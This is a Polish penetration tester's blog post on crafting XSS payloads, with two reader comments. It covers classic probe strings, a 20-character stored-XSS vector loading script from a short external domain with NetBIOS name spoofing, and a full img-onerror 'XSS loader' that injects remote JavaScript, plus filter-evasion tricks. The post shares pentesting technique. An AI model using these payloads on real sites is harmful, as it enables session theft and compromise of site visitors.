JS Ninja
Sztuka pisania dobrych payloadów do ataków XSS to dziś to samo, co jeszcze kilka lat temu sztuka pisania dobrego shellcode - warto znać kilka sztuczek. Ostatnio w czasie pentestów trafiłem na dwa interesujące przypadki wektorów ataku i chciałbym podzielić się kilkoma spostrzeżeniami
Typowy payload
W każdym penteście aplikacji webowej przychodzi taki moment, kiedy docieramy do punktu pt. OWASP-DV-001 - Testing for Reflected Cross Site Scripting (i dalszych). Co wtedy wpisujemy?
Ja najczęściej zaczynam od klasycznego <script>alert(1)</script> - ma on swoje zalety, zawiera potencjalnie niewiele znaków, które są często filtrowane, nie wchodzi w interakcję z magic_quotes, a jasno pokazuje, że atak jest możliwy. Kolejny często wykorzystywany payload to " onload=alert(1) a=" - przydatne jeśli nasz payload trafia w środek już istniejącego znacznika. Inny payload wykorzystujemy do ataków DOM-based XSS, a mianowicie ';alert(1);// - czasami z niewielką modyfikacją - domknięciem nawiasu funkcji
Taki payload to dobry sposób na weryfikację, czy luka istnieje, ale to nadal mało, jeśli zamierzamy pociągnąć temat ataku dalej (i na przykład pokazać, że bardzo fajnego worma można wrzucić, żeby pobuszował po stronie i stworzył nam coś w rodzaju botnetu (polecam zapoznać się z Beef)). Oczywiście najprostszym przykładem jest <script src=http://nasz-xss.pl/xss.js>, ale czasami to niestety nie wystarcza. Ostatnio właśnie trafiłem na takie dwa przypadki, gdzie takie rozwiązanie było niewystarczające.
XSS w 20 znakach
Sytuacja przedstawiała się następująco - było sobie pole komentarza do jakiegoś zestawu danych. Po wpisaniu tam kodu XSS'a i zapisaniu go w bazie przechodziliśmy do podglądu zestawu danych. Niestety, atak się nie wykonywał, ponieważ wszystkie znaki < oraz > były odpowiednio enkodowane. Wracaliśmy do listy zestawów danych i niespodzianka; w wierszu z danymi widzieliśmy nasz kod xss, a w zasadzie jego pierwszych 20 znaków bez enkodowania (najwidoczniej programista zapomniał przeprowadzić enkodowania podczas wyświetlania skrótu komentarza). Pytanie było tylko jedno; jak ja mam zmieścić sensowny atak xss w 20 znakach? Po kilkunastu próbach ograniczania, cięcia, przestawiania i po konsultacjach z kilkoma osobami doszliśmy do takiej formy:
<script src=//x.pl/>
Problem jest taki, że w jakiś sposób musimy kontrolować domenę x.pl (lub inną, która zawiera się w 4 znakach (razem z kropką). Jest to problem, ale jest też rozwiązanie - jeśli ten atak wykonujemy w sieci lokalnej, to z pomocą przychodzi nam ciekawa własność windowsów, które (o ile dobrze pamiętam) dla domen, których nazwa jest krótsza niż 7 znaków odpytują najpierw sieć lokalną przy pomocy protokołu Netbios Name Service wysyłając zapytanie na adres rozgłoszeniowy sieci. Zawsze można uprzejmie na takie zapytanie odpowiedzieć - podając oczywiście nasz adres.
Kolejną ciekawą właściwością jest mechanizm protocol resolution bypass. Przeglądarka widząc adres rozpoczynający się od // sama sprytnie domyśli się, że chodziło nam tak naprawdę o http:// - a my oszczędziliśmy 5 znaków.
XSS loader
Inny przypadek, na który trafiłem ostatnio przy okazji testów był związany z frameworkiem GWT. Charakterystyczną cechą tego frameworku jest to, że zasadniczo cała komunikacja z aplikacją odbywa się po protokole GWT-RPC (który jest protokołem *nad* HTTP),a odpowiedzi zwracane są w formacie JSON. W aplikacji kod Javascript wyciąga dane z formatu JSON i wstawia je w odpowiednie miejsca drzewa DOM strony.
Co więc się stało? Sam do końca nie jestem pewien; polę nazwy pewnego tworzonego obiektu nie filtrowało znaków < oraz >, więc było potencjalnym kandydatem do przeprowadzenia ataku XSS. Wprowadziłem tam klasyczne <script>alert(1)</script> i ..... nic. Wprowadzony ciąg jest widoczny w drzewie DOM (nie enkodowany, nie odfiltrowany), ale odmawia uruchomienia się. Druga próba: <a onmouseover=alert(1)>test</a>. Po najechaniu kursorem na tak stworzony link pojawiło się okienko - sukces. Szkoda jednak marnować taki ładny Stored XSS na zdarzenie onmouseover. Trzecie podejście: <img src=a onerror=alert(1)/>. Każde wejście na stronę z obiektami powoduje pojawienie się okienka - sukces+1.
Teraz zaczęła się trudniejsza cześć - jak spowodować, żeby tym sposobem wczytać z zewnętrznego serwera większy kawałek kodu javascript. Oszczędzę wam wszystkich wariacji, jakie powstały podczas tych poszukiwań; zamiast tego zaprezentuje wam finalną wersję xss loadera.
<img src=a onerror=var/**/t=document.createElement('script');t.src='//domena.pl/.j';document.body.appendChild(t);>
Ciekawą własnością javascriptu jest to, że spacje można zastąpić właśnie kombinacją /**/. Musiałem to zrobić, bo GWT źle znosiło znaki " w paczce danych JSON (escapowało każdy cudzysłów), a inaczej nie dało się zadeklarować zmiennej. Pamiętajmy też, że jeśli z jakiś powodów nie możemy użyć znaków ', to zamiast t.src='script'; możemy zrobić tak: t.src=String.fromCharCode(115,99,114,105,112,116);
O protocol resolution bypass już wspomniałem, dlatego też nie będę tłumaczył skąd się wzięło //domena.pl/.j, bo to chyba prawie oczywiste.
Podsumowanie
Zdaje sobie oczywiście sprawę, że nie odkryłem tutaj żadnej Ameryki i że każda z tych metod była już gdzieś, kiedyś opisywana - chciałem jedynie pokazać kilka rzeczy, które mogą się kiedyś przydać w czasie waszych pentestów - kiedy okaże się, że trzeba zaprezentować coś więcej niż okienko z napisem 0wn3d.
Ps. Oczywiście jeśli ktoś ma jakiś pomysł, jak można poprawić coś w którymś z tych elementów to będę bardzo szczęśliwy mogąc o tym posłuchać/poczytać.
Ps. Podziękowania za protocol resolution bypass wędrują do Łukasza Pilorza.
±
Komentarze do wpisu "JS Ninja":
1.
02 listopada 2009, 20:08:09
Bootcamp XVI: rozwiązanie
Radekk jest pierwszą osobą, która rozwiązała najnowsze zadanie na bootcamp. Przy okazji dołączył do bardzo nielicznego grona osób, które poradziły sobie z wyzwaniem (swoją drogą zapraszam, dostępnych jest kilka wskazówek). Tym razem r[...]
2.
10 listopada 2009, 21:00:59
Ino bez zamknięcia znacznika script w FF 3.5.x i Operze 10.x (przynajmniej pod Linuksem) to nie zadziała.
Dodaj komentarz:
Chcesz mieć swoje zdanie - miej też personalia.
Anonimowe komentarze bedą kasowane.